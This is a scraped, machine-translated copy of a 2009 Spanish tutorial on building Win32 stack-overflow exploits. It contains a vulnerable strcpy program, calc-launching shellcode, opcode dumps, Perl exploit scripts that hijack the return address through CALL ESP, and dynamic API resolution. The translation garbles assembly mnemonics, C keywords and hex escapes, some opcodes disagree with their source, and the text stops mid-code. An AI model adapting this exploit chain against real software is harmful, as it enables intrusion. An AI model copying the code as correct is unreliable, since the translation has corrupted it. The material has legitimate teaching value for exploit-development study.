www.pepelux.org papers shellcodes en win32

8/16/2019 Www.pepelux.org Papers Shellcodes en Win32

http://slidepdf.com/reader/full/wwwpepeluxorg-papers-shellcodes-en-win32 1/32

24/05/2016 www.pepelux.org/papers/shellcodes_en_win32.txt

http://www.pepelux.org/papers/shellcodes_en_win32.txt 1/32

|=‐‐‐‐‐‐‐‐‐‐‐=[ Creacion de shellcodes y exploits en win32 ]=‐‐‐‐‐‐‐‐‐‐‐‐=||=‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐=||=‐‐‐‐‐‐=[ pepeluxx[at]gmail[dot]com <http://www.enye‐sec.org> ]=‐‐‐‐‐‐‐=||=‐‐‐‐‐‐=[ <http://www.pepelux.org> ]=‐‐‐‐‐‐‐=||=‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐=||=‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐=[ 23/11/2009 ]‐=‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐=|

‐ [Conteúdo

1. introdução

2 ‐ Antes de começar2.1 ‐ Informações gerais2.2 ‐ Ferramentas

3 ‐ Creando un exploit local3.1 ‐ Creando un programa vulnerable3.2 ‐ Programando una shellcode

3.3 ‐ Criação de um exploit

4 ‐ Creando otro exploit local

4.1 ‐ Programando una shellcode 4.2 ‐ Criação de um exploit4.3 ‐ Solução de problemas

5 ‐ Fazendo mais padrão a explorar

6 ‐ Creando un exploit remoto6.1 ‐ Creando un programa vulnerable6.2 ‐ Programando una shellcode

6.3 ‐ Criação de um exploit

7 ‐ Referências

8 ‐ Agradecimentos

‐‐‐ [0 ‐ Prologue

Como você pode ver no cabeçalho, o artigo que eu escrevi no final de novembro2009 ... já há quase um ano ... e por que ele não viua luz foi porque no começo ele foi escrito para SET (set‐ezine.org) antes demas depois de vários meses sem saber nada sobre blackngel decidi publicá‐lo emMeu web y en la de.

‐‐‐[ 1. introdução

A razão para escrever este artigo é simplesmente para transmitir minhas experiênciasna iniciação desta cena emocionante (se for um texto para iniciantes :)Aqueles que leram qualquer do meu texto vai saber que eu nunca escrevi nada sobre tampãoou em shellcodes estouro porque eu nunca me dediquei a isso. Alguns meses atrás eupegou o vírus e, apesar de ser um tema muito antigo e muito visto que tenho meI tempo difícil encontrar textos e exemplos válidos para iniciantes como tudosempre explicado muito superficialmente e tida como certa muitos aspectosem seguida, os mais novatos nos custa a entender.

Quem já não aconteceu com você que você está seguindo um artigo com exemplos e o que oobras de autor não chegou a ir em sua máquina? ou não compilar ouem seguida, dá algum erro que sempre deixa você com metade leitura ou aLeia outros artigos precisa continuar com isso.





Se eu aprendi é que não há nada padrão e vulneráveis cada programarequer um exploit feito à medida, pelo menos no Windows, porque influenciamfatores muchisimos como sistema operacional, service pack, tipo de funçãoforma vulnerável o programa obtém os dados, etc.

Como em tudo, você tem que ler muito para tirar algumas conclusões. EuGostaria de recomendar, em primeiro lugar, ler e compreender estes dois documentos, que vêmbem para começar (e também na língua de Cervantes):

> Exploits y stack overflows en Windows por Rodojos(http://www.todopsp.com/foros/showthread.php?t=23953)

> Shellcodes en Win32 por RaiSe(Http://www.govannom.org/seguridad/buf_overf/shellcodes_win32_1.txt)

O texto explica muito bem Rodojos consistindo de estouro de buffer ecomo programar um shellcode básica. É ideal para as pessoas que sãoiniciando en este tema.O texto do aumento é muito mais avançado e dá um monte de teoria, mas com poucasexemplos práticos. Bem, há exemplos, mas shellcodes já criados.

O que eu quero é fazer algo entre esses dois textos, ou seja, nãoVou explicar a partir do zero, que é um estouro de buffer, mas não um shellcode

Eu estou indo para criar passo a passo vários shellcodes, tanto básicos e avançados,onde vamos ver os problemas potenciais que surgem em nós eEu li textos não se referem a como corrigi‐los.

Em suma, trata‐se de entender as coisas, tornando todo o processo,uma vez que a criação do programa em ASM, através da remoção dos códigos de operação,e começar a criar a explorar e sempre se certificar de que tudo funciona bem. eCaso contrário, você está vendo soluções. Não há nada como a compreensão do queque é o de encontrar e corrigir um problema rapidamente :)

Finalmente acrescentar que isto só irá funcionar no Windows XP com SP3 abaixouma vez que no SP3 DEP que impede executar código na pilha e é adicionada

Windows Vista, DEP também têm posições de memória aleatórios, queainda mais complicada coisas.

‐‐‐ [2 ‐ Antes de começar

‐‐‐‐ [2.1 ‐ O conhecimento prévio

Embora este documento é para iniciantes, não é algo simplespara aqueles que não têm conhecimento de certas coisas. Para continuar ecompreender o texto precisa saber ASM, você sabe um pouco OllyDbg, noções deperl e alguns C.

Também é necessário para entender completamente o texto da Rodojos, que, comoEu disse, está muito bem explicado em sua maior iniciado.

‐‐‐‐ [2.2 ‐ Ferramentas

As ferramentas que serão utilizados ao longo deste documento são:

> Dev‐C++ para compilar los programas en C> Masm para compilar los programas en ASM> OllyDbg para depurar los programas

> Notepad++ para escribir los exploits> ActivePerl para executar exploits

Logicamente todos podem usar as alternativas que você deseja. Não é necessáriousar os mesmos compiladores e / ou editores I :)





‐‐‐[ 3 ‐ Creando un exploit local

Esta seção baseia‐se no texto da Rodojos, que servirá comopunto de partida.

Antes de ir para a bagunça, temos que criar o nosso programa vulnerável eo outro em ASMgerir o nosso explorar, para provar isso.

‐‐‐‐[ 3.1 ‐ Creando un programa vulnerable

Melhor usar o programa típico vulnerável a começar! :)

‐‐‐‐ Vuln.c ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐#include <string.h>#include <stdio.h>

int main (int argc, char * argv []) {char buffer[64]; // array con 64 bytes de espacio

Se (argc <2) {printf ("Hay que usar: %s, texto\n", argv[0]);return 0;

}

strcpy (buffer, argv [1]); // Estouro posiblereturn 0;

}‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

Bem, nós compilá‐lo, tentei e verificar se ele é vulnerável e peta quandose meten mas de 76 caracteres. Si, 76 que son 72 del buffer + 4 del EBP. 72 en

em vez de 64 para o alinhamento da pilha .... tudo isso está muito bem explicadoRodojos no texto, por isso não vou estender mais.

‐‐‐‐[ 3.2 ‐ Programando una shellcode

Agora vamos fazer um pequeno programa em ASM (com base também em queEle aparece no texto de Rodojos) rodando a calculadora do Windows. paraele usará o RadASM e compilá‐lo com o MASM.

‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ Scode.asm.386.model plana, stdcall; modelo de memória de 32 bitsopção casemap: none; maiúsculas de minúsculas

incluem windows.incincluem kernel32.incincluem msvcrt.inc

includelib kernel32.libincludelib msvcrt.lib

.dadoslib db "msvcrt.dll"

.códigocomeçar:

invocar LoadLibrary, lib compensado

ebp impulsomov ebp, esp





dl XOR, dl

sub esp, 10h; nós empilhar espaço para colocar nossa cadeia

mov byte ptr [ebp‐0Fh], 63h; 'C'mov byte ptr [ebp‐0Eh], 61h; 'uma'mov byte ptr [ebp‐0Dh], 6Ch; 'eu'mov byte ptr [ebp‐0Ch], 63h; 'C'mov byte ptr [ebp‐0bh], 2Eh ; '.'mov byte ptr [ebp‐0ah], 65h ; 'e'mov byte ptr [ebp‐09h], 78h; 'X'mov byte ptr [ebp‐08h], 65h ; 'e'mov byte ptr [ebp‐07h], dl; 0x00

lea eax, [ebp‐0Fh]; Nós carregar o endereço que aponta para a nossa cadeiaempurrar eax; vamos colocar o endereço de 'calc.exe' na pilha

ebx mov, 77bf93c7h; metemos en el valor EBX del deslocamento de sistema; (en mi maquina)

chamar EBX; Chamamos sistema e executar o nosso shellcode

invocar ExitProcess, 0

início fim‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

Se você perceber, eu incluí a biblioteca msvcrt.dll para o programatrabalho. Em um shellcode não é necessário porque o nosso código é integradono código do programa vulnerável mas, neste caso, para provar que a nossaprograma funciona Msvcrt.dll tem que carregar a biblioteca que contém osistema de função, que nos permitirá executar um programa externo.

Como você viu no texto da Rodojos, precisamos calcular a direçãoonde está localizada a nossa função 'sistema' em 'msvcrt.dll' a bibliotecaTudo isto é feito com um pequeno programa Rodojos o chamador BuscaOffset

e nos dá a passagem direção como parâmetros o DLL e função. Em mimSe, como você pode ver no código, é no 77bf93c7h direção.

Uma vez definida a direção certa, se você executar compilais e você vai ver queabre a calculadora do Windows, para que o programa funciona (se ele não vaicertifique‐se de ter definido a direção certa !! leia o texto da Rodojos !! :)

E, finalmente, abriu o programa com o OllyDbg para os opcodes:

‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐00401000> / $ 68 00304000 IMPULSO scode.00403000; / Filename = "msvcrt.dll"00401005 |. E8 44000000 CHAMADA <JMP & kernel32.LoadLibraryA.>; \ LoadLibraryA0040100A |. 55 TOQUE EBP0040100B |. 8BEC MOV EBP, ESP0040100D |. 32D2 XOR DL, DL0040100F |. 83EC 10 SUB ESP,1000401012 |. C645 F1 63 MOV BYTE PTR SS: [EBP‐F], 6300401016 |. C645 F2 61 MOV BYTE PTR SS: [EBP‐E], 610040101A |. C645 F3 6C MOV BYTE PTR SS: [EBP‐D], 6C0040101E |. C645 F4 63 MOV BYTE PTR SS: [EBP‐C], 6300401022 |. C645 F5 2E MOV BYTE PTR SS: [EBP‐B], 2E00401026 |. C645 F6 65 MOV BYTE PTR SS: [EBP‐A], 650040102A |. C645 F7 78 MOV BYTE PTR SS: [EBP‐9], 780040102E |. C645 F8 65 MOV BYTE PTR SS: [EBP‐8], 6500401032 |. MOV BYTE PTR SS 8855 F9: [EBP‐7], DL

00401035 |. 8D45 F1 LEA EAX, DWORD PTR SS: [EBP‐F]00401038 |. 50 TOQUE EAX00401039 |. BB C793BF77 MOV EBX, 77BF93C70040103E |. FFD3 CHAMADA EBX00401040 |. 6A 00 IMPULSO 0; / ExitCode = 000401042 \. E8 01000000 CHAMADA <JMP & kernel32.ExitProcess.>; \ ExitProcess





00401047 CC INT300401048 .‐ FF25 04.204.000 JMP DWORD PTR DS: [<& kernel32.ExitProcess>;kernel32.ExitProcess0040104E $ ‐ FF25 00.204.000 JMP DWORD PTR DS: [<& kernel32.LoadLibrary>;kernel32.LoadLibraryA‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

O que nos interessa é a partir da direção ao 0040103E direção 0040100Apor isso, marcar de uma linha para outra e, em seguida, clique direito ‐> binário ‐>cópia binária, mantendo‐se o código do nosso shellcode:

‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐55 8B EC 32 D2 83 CE 10 C6 45 F1 63 C6 45 F2 61C6 45 F3 6C C6 45 F4 63 C6 45 F5 2E C6 45 F6 65C6 45 F7 78 C6 45 F8 65 88 55 F9 8D 45 F1 50 BBC7 93 BF 77 D3 FF‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

Para explorar o programa vulnerável, a teoria é simples:

> Preencher nosso tampão com lixo> con 4 bytes mas sobreescribimos EBP

> RET leva a pilha o endereço de retorno e aumenta a bateria em 4 bytes> Sobreescribimos RET con la direccion de un JMP ESP o ESP apelo das Nações Unidas> Para aumentar a pilha apontou para a posição em que a direcção de estava

RET + 4> JMP ESP nos levará de volta para a direita para o seguinte endereço da pilha, onde

começa o nosso shellcode

‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐| | || tampão | preenchê‐lo com o lixo, por exemplo, com muitos 'A' || | ||‐‐‐‐‐‐‐‐|‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐|

| | || EBP | Nós preenchê‐lo também com 4 bytes de lixo (por exemplo AAAA) || | ||‐‐‐‐‐‐‐‐|‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐|| | || RET | Aqui ponemos la direccion de un JMP ESP O Call ESP || | ||‐‐‐‐‐‐‐‐|‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐|| | || | nosso shellcode || | |

‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

‐‐‐‐ [3.3 ‐ Criação de um exploit

Rodojos cria a explorar em C, muitas pessoas dizem que Python é melhor, no entantoI para trazer contra ele, eu vou fazê‐lo em perl :)

‐‐‐‐ Exploit.pl ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐#! / Usr / bin / perl

$relleno = "A"x76; # 72+EBP

$ Offset = "\ XB8 \ x69 \ x83 \ x7c"; # CHAMAR ESP

Call_system $ = "\ xc7 \ x93 \ XBF \ x77"; # Deslocamento de msvcrt.system

# shell que ejecuta un calc.exe$ Shellcode = "\ x55 \ x8B \ XEC \ x32 \ xd2 \ x83 \ XEC \ x10 \ XC6 \ x45 \ XF1 \ x63 \XC6 \ x45 \ XF2 \ x61".

"\ XC6 \ x45 \ XF3 \ x6C \ XC6 \ x45 \ XF4 \ x63 \ XC6 \ x45 \ xF5 \ x2E \ XC6





\ x45 \ XF6 \ x65"."\ XC6 \ x45 \ XF7 \ x78 \ XC6 \ x45 \ XF8 \ x65 \ x88 \ x55 \ xF9 \ x8D \ x45

\ XF1 \ x50 \ xbb".$ Call_system. "\ XFF \ xd3";

$ = $ Tampão de enchimento. $ Offset. $ Shellcode;

exec ( "vuln.exe", $ buffer, 0);‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

Para uma melhor compreensão eu separei os dois paramstros que fazem aexploit varie de una maquina a otra.

Por um lado, temos a função do sistema de biblioteca msvcrt.dll que vimosantes como obtenerla em nossa máquina, com ele programa BuscaOffset.exe deRodojos, por exemplo.

E, por outro, temos o endereço de uma chamada ESP chegamos com o programaFindJmp.exe, também explicou no texto da Rodojos.

I antes de tentar a explorar o que fazer é carregar o programa com OllyDbg,medidor como um parâmetro (Debug ‐> Argumentos) 72 'A' e depurar a mão até

alcançar o RET depois de o strcpy. Verifique se há 'A' (414.141 ... 41) para esmagarmão EBP e eu coloquei $ offset e US $ shellcode. Para fazer isso, o espetoESP e direita clique em Seguir em Dump. Em seguida, enquadrar uma grande parte dos bytese bateu os bytes do botão direito do shellcode e binário ‐> Colar binário.Vamos acontecendo com a chamada ESP F7, então entrar no nosso código e verA calculadora é executado.

Uma vez verificado isso, testamos a explorar e ver o que funciona e abre acalculadora de Windows.

Se não funcionar, certifique‐se de ter obtido boas indicações e se mesmoasi no te va, leete el apartado 4.3

‐‐‐[ 4 ‐ Creando otro exploit local

Agora vamos executar quase o mesmo, mas em vez de chamar a calculadoraum sistema Windows, vamos fazer um WinExec. Isso vai nos ajudarduas coisas, em primeiro lugar, para perceber que alguns problemas podemvir a fazer o nosso shellcode e, por outro lado, que servem para o ponto 5.

Vamos dar o mesmo programa vulnerável antes, então não seráexigir outro.


Ao contrário de antes, como a função WinExec está incluída na bibliotecakernel32.dll, no nos hara falta hacer un LoadLibrary de msvcrt.dll.

Por outro lado, é preciso colocar um novo parâmetro na pilha e também oendereço das alterações da função, é claro. Este obteremos também comele programa BuscaOffset mas desta vez passando como parâmetros kernel32.dll eWinExec.

‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ Scode.asm

.386

.model plana, stdcall; modelo de memória de 32 bitsopção casemap: none; maiúsculas de minúsculas

incluem windows.incincluem kernel32.inc







includelib kernel32.lib

.códigocomeçar:

ebp impulsomov ebp, espdl XOR, dl


mov byte ptr [ebp‐0Fh], 63h; 'C'mov byte ptr [ebp‐0Eh], 61h; 'uma'mov byte ptr [ebp‐0Dh], 6Ch; 'eu'mov byte ptr [ebp‐0Ch], 63h; 'C'

mov byte ptr [ebp‐0bh], 2Eh ; '.'mov byte ptr [ebp‐0ah], 65h ; 'e'mov byte ptr [ebp‐09h], 78h; 'X'mov byte ptr [ebp‐08h], 65h ; 'e'mov byte ptr [ebp‐07h], dl; 0x00


xor mesmo, mesmocl mov, 5; SW_SHOWecx impulso

empurrar eax; guardamos la direccion en la pila

ebx mov, 7c8622b5h; metemos en el valor EBX del deslocamento de WinExecchamar EBX; Chamamos WinExec e executar o nosso shellcode

invocar ExitProcess, 0início fim‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

Deixando no final do código, sem os zeros:

‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐00401000> / $ 55 IMPULSO EBP00401001 |. 8BEC MOV EBP, ESP00401003 |. 32D2 XOR DL, DL00401005 |. 83EC 10 SUB ESP,1000401008 |. C645 F1 63 MOV BYTE PTR SS: [EBP‐F], 630040100C |. C645 F2 61 MOV BYTE PTR SS: [EBP‐E], 6100401010 |. C645 F3 6C MOV BYTE PTR SS: [EBP‐D], 6C00401014 |. C645 F4 63 MOV BYTE PTR SS: [EBP‐C], 6300401018 |. C645 F5 2E MOV BYTE PTR SS: [EBP‐B], 2E0040101C |. C645 F6 65 MOV BYTE PTR SS: [EBP‐A], 6500401020 |. C645 F7 78 MOV BYTE PTR SS: [EBP‐9], 7800401024 |. C645 F8 65 MOV BYTE PTR SS: [EBP‐8], 6500401028 |. MOV BYTE PTR SS 8855 F9: [EBP‐7], DL

0040102B |. 8D45 F1 LEA EAX, DWORD PTR SS: [EBP‐F]0040102E |. 33C9 XOR CE, CE00401030 |. B1 05 MOV CL, 500401032 |. 51 TOQUE ECX00401033 |. 50 TOQUE EAX00401034 |. BB B522867C MOV EBX, 7C8622B5





00401039 |. FFD3 CHAMADA EBX‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

E os nossos códigos de operação:

‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐55 8B EC 32 D2 83 CE 10 C6 45 F1 63 C6 45 F2 61C6 45 F3 6C C6 45 F4 63 C6 45 F5 2E C6 45 F6 65C6 45 F7 78 C6 45 F8 65 88 55 F9 8D 45 F1 33 C9B1 05 51 50 BB B5 22 86 7C FF D3‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐


Tal como antes, nós criamos o exploit, escrevendo o nossocall_winexec offset e de acordo com os dados obtidos para a nossa máquina:



$ Offset = "\ XB8 \ x69 \ x83 \ x7c"; # CHAMAR ESP$ Call_winexec = "\ XB5 \ x22 \ x86 \ x7c"; # Deslocamento de kernel32.WinExec


"\ XC6 \ x45 \ XF3 \ x6C \ XC6 \ x45 \ XF4 \ x63 \ XC6 \ x45 \ xF5 \ x2E \ XC6\ x45 \ XF6 \ x65".

"\ XC6 \ x45 \ XF7 \ x78 \ XC6 \ x45 \ XF8 \ x65 \ x88 \ x55 \ xF9 \ x8D \ x45\ XF1 \ x33 \ XC9".

"\ XB1 \ x05 \ x51 \ x50 \ xbb \". $ Call_winexec. "\ XFF \ xd3";



Agora eu corro a surpresa explorar e, !! não funciona!!! ... Bem, talvez vocêse eu correr, mas eu não. Veja abaixo o porquê.

‐‐‐‐ [4.3 ‐ Solução de problemas

Neste ponto, é quando bateu os cabelos e admira, poisvocê não vai? mesmo programa vulnerável, shellcode semelhante, explorá‐la semzeros não conseguem fazer a explorar ...

E é aqui quando eu necessária a ajuda de mestre e guru Ricardo Narvaja (não se esqueçavisite o site: http://www.ricardonarvaja.info) com infinita paciênciaI esclareceu que não só os zeros fazer o trabalho shellcode stop.Obviamente, estamos introduciento uma cadeia de texto como um parâmetro, portanto,temos de pensar em todos aqueles personagens que se escreveu à mão,cortaria nossa cadeia de entrada. Por exemplo, um espaço (\ X20) indicariauma alteração de parâmetros, isto é, não é o mesmo:

programa.exe blablabla‐blablabla

em que há apenas um parâmetro, que:

programa.exe blablabla blablabla

no qual existem dois parâmetros e programa usa argv tão vulneráveis [1], apenas





levaria em conta a primeira corda (blablabla) e antes de um \ x20, o shellcodeele é cortado. Se os parâmetros são lidos de um arquivo ou um fica, ouatravés de um soquete, por exemplo, esse personagem se seria válido.

De acordo com a maneira de injetar o nosso shellcode, haverá certas não opcodespodemos usar. Neste caso, você não pode colocar o \ x20 nem podemos usaraspas (\ x22) ou tabulações (\ x09) e possivelmente alguns outros.

Se formos analisar o shellcode ver que, no meu caso, o endereço do WinExeccontém um \ x22 por isso vamos ter o nosso engenho para mudar.

Enfim, vamos depurar o programa com Olly ver assimmais clara. Para fazer isso, abra o OllyDbg sem carregar o programa, iremosOpções ‐> Just‐in‐time depuração y marcamos 'Make OllyDbg just‐in‐timedebugger' y damos a Done.

No nosso explorar mudamos o primeiro código de operação para \ XCC (corresponde ainstruções INT3) para o depurador pára por aí e não seguir em execuçãocodigo. Nos quedaria:

$ Shellcode = "\ XCC \ x8B \ XEC \ x32 \ xd2 \ x83 \ XEC \ x10 \ XC6 \ x45 \ XF1 \ x63 \XC6 \ x45 \ XF2 \ x61".



"\ XB1 \ x05 \ x51 \ x50 \ xbb \". $ Call_winexec. "\ XFF \ xd3";

E corremos o exploit que abre a OllyDbg e nós apenasinício do nosso código:

‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐0022FF80 CC INT30022FF81 8BEC MOV EBP, ESP

0022FF83 32D2 XOR DL, DL0022FF85 83EC 10 SUB ESP, 100022FF88 C645 F1 63 MOV BYTE PTR SS: [EBP‐F], 630022FF8C C645 F2 61 MOV BYTE PTR SS: [EBP‐E], 610022FF90 C645 F3 6C MOV BYTE PTR SS: [EBP‐D], 6C0022FF94 C645 F4 63 MOV BYTE PTR SS: [EBP‐C], 630022FF98 C645 F5 2E MOV BYTE PTR SS: [EBP‐B], 2E0022FF9C C645 F6 65 MOV BYTE PTR SS: [EBP‐A], 650022FFA0 C645 F7 78 MOV BYTE PTR SS: [EBP‐9], 780022FFA4 C645 F8 65 MOV BYTE PTR SS: [EBP‐8], 650022FFA8 8855 F9 MOV BYTE PTR SS: [EBP‐7], DL0022FFAB 8D45 F1 LEA EAX, DWORD PTR SS: [EBP‐F]0022FFAE 33C9 XOR CE, CE0022FFB0 B1 05 MOV CL, 50022FFB2 51 IMPULSO ECX0022FFB3 50 IMPULSO EAX0022FFB4 BB B5867CFF MOV EBX, FF7C86B50022FFB9 D320 SHL DWORD PTR DS: [EAX], CL0022FFBB 3000 XOR BYTE PTR DS: [EAX], AL0022FFBD 0000 ADD BYTE PTR DS: [EAX], AL0022FFBF 00F0 ADD AL, DH‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

Se mudarmos a CC 55 que aparecer novamente IMPULSO EBP. mas o queimportante é ver como o shellcode termina da mesma maneira que ele era o \ x22

Del codigo original:

00401033 |. 50 TOQUE EAX00401034 |. BB B522867C MOV EBX, 7C8622B500401039 |. FFD3 CHAMADA EBX





Continuo:

0022FFB3 50 IMPULSO EAX0022FFB4 BB B5867CFF MOV EBX, FF7C86B50022FFB9 D320 SHL DWORD PTR DS: [EAX], CL

exatamente onde ele deve ser o \ x22 aparece mais o nosso código e aparecede lixo, que corresponde ao que tinha anteriormente na pilha e que temosesmagado.

Bem, vamos modificar o programa em ASM evitar escrever este código:



includelib kernel32.lib

.códigocomeçar:



mov byte ptr [ebp‐0Fh], 63h; 'C'mov byte ptr [ebp‐0Eh], 61h; 'uma'mov byte ptr [ebp‐0Dh], 6Ch; 'eu'

mov byte ptr [ebp‐0Ch], 63h; 'C'mov byte ptr [ebp‐0bh], 2Eh ; '.'mov byte ptr [ebp‐0ah], 65h ; 'e'mov byte ptr [ebp‐09h], 78h; 'X'mov byte ptr [ebp‐08h], 65h ; 'e'mov byte ptr [ebp‐07h], dl; 0x00


xor mesmo, mesmocl mov, 5; SW_SHOWecx impulsoempurrar eax; guardamos la direccion en la pila

ebx mov, 7c8621b5h; metemos en el valor EBX del deslocamento de WinExec ‐ 100hxor mesmo, mesmomov cl, 1rol ainda, 8adicionar ebx, ecx; adicionar 100hchamar EBX; Chamamos WinExec e executar o nosso shellcode


Como você pode ver, eu mudei a 100h direção subtraindo a ter um21 em vez de 22 e, em seguida, mais 100. Ao adicionar 100 CL tem em um1 e, em seguida, fez um papel que nos move que janeiro 2 bytes para a esquerda.Isto não é para colocar os caracteres nulos 100.





Agora compilar e levou os opcodes com OllyDbg como antes e nósExploit é o seguinte:







"\ XB1 \ x05 \ x51 \ x50 \ xbb \ XB5 \ x21 \ x86 \ x7C \ x33 \ XC9 \ XB1 \ x01\ XC1 \ XC1 \ x08".

"\ X03 \ xD9 \ xFF \ xd3";



A moral de tudo isso é que sempre bom saber o funcionamento docoisas, por isso, se um exploit não funciona em nossa máquina pode sempretentar descobrir o porquê.

‐‐‐ [5 ‐ Fazendo mais padrão a explorar

Se você ainda está lendo isso é porque você não foi metade em pontosacima e não conseguiram resolver os problemas que têm surgido ...É um bom sinal :)

Agora o que vai tentar expandir um pouco de documento fabulosoAumento, e, basicamente, consiste em fazer um pouco mais o nosso shellcode padrão.Como? tornando‐as assim calcular automaticamente a direcção dofunção que vamos usar.

Se você olhar para o primeiro programa em ASM, usamos a função do sistemabiblioteca msvcrt.dll, DLL previamente carregado com LoadLibraryA, funçãoque se encuentra en kernel32.dll.

Para o shellcode assumir que o programa vulnerável já carregou obiblioteca msvcrt.dll e todos nós precisamos é saber a direção em queÉ (e para isso foi utilizado o programa BuscaOffset).

A teoria toda é muito bem explicado no papel na AUMENTO falandosobre el formato PE, importar tabelas, tabelas de exportação, etc ...

Bem, vamos modificar nosso shellcode então faça o seguinte:

> Procure a direção da biblioteca kernel32.dll> Dentro desta biblioteca buscamos função LoadLibraryA> Usando LoadLibraryA cargaremos la libreria msvcrt.dll

> E com essa DLL carregado, olhamos para o sistema de função> Sabendo a direção do sistema podemos lançar a calculadora

O que vai ficar é compensado msvcrt.system, que é o mesmo queestávamos fazendo antes da mão e, como você sabe, as mudanças de uma máquina para outra, demodo





que será muito útil que este automatizado.

Pensei em colocar o código em partes, mas como é um pouco longo, eu penseimelhor eu colocá‐lo inteiro e adicionar comentários a fazer você entender o que ele faz,por isso,que ahi va:

‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ Scode.asm.386.model plana, stdcall; modelo de memória de 32 bitsopção casemap: none; maiúsculas de minúsculasassumir fs: nada


includelib masm32.libincludelib kernel32.lib

.dadoskernelbase dd 0 ; espacio para la direccion base de kernel32.dlldd ploadlibrary 0; espaço de endereço para LoadLibraryA

msvcrtbase dd 0; espaço para a msvcrt.dll endereço basepSystem dd 0; espaço de endereço para o sistema

; Nós definimos as cadeias de texto que precisamnLoadLibrary db "LoadLibraryA", 0nMsvcrt db "msvcrt", 0nSystem db "sistema", 0

; variáveis para pesquisar DLLsbase de dd?função dd?

.códigocomeçar:; *****************************************; Procurar endereço msvcrt.system; *****************************************

chamar busca_kernel32; devuelve en eax la direccion de kernell32.dllou eax, eax; SI EAX es 0 vendajz salir

mov kernelbase, eax ; guardamos la direccion de kernel32.dll

push offset kernelbase ; direccion de kernel32.dllpush offset nLoadLibrary ; cadena de texto con: LoadLibraryApush 0Dh ; longitud de LoadLibraryA + 1call busca_libreria ; buscamos LoadLibraryA dentro de kernel32.dllou eax, eax; SI EAX es 0 vendajz salir

ploadlibrary mov, eax; metemos en ploadlibrary la direccion de LoadLibraryA

impulso nMsvcrt compensados; introduzir queremos carregar a DLLchamada ploadlibrary; eax devolvido no sentido da msvcrt.oldou eax, eax; SI EAX es 0 vendajz salir

mov msvcrtbase, eax ; guardamos la direccion de msvcrt.dll

empurrar msvcrtbase compensadoempurrar compensado nSystempush 07h ; longitud de system + 1





call busca_libreria; Dentro de msvcrt.dll procuramos a função systemou eax, eax; SI EAX es 0 vendajz salir

mov psystem, eax ; guardamos la direccion de msvcrt.system

; **********************************; lançar a calculadora do Windows; **********************************

mov ebp, espdl XOR, dl

sub esp, 0Ch; quitamos uma esp 0Ch bytes parágrafo calc.exe metros

